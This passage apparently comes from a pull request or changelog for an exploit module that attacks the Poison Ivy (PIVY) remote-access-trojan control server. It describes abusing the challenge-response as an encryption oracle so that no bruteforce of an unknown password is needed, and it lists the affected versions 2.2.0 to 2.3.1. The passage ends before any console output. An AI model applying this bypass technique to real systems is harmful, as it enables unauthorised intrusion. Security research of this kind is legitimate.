module removing the need for bruteforce in the case of an unknown
server password by (ab)using the challenge-response as an encryption
oracle, making it more reliable. The vulnerability has also been confirmed
in versions 2.2.0 up to 2.3.1 and additional targets for these versions
have been added as well.

## Console output
Below is an example of the new functionality (PIVY C2 server password is
set to 'prettysecure' and unknown to attacker). Exploitation of versions 2.3.0 and 2.3.1
is similar.
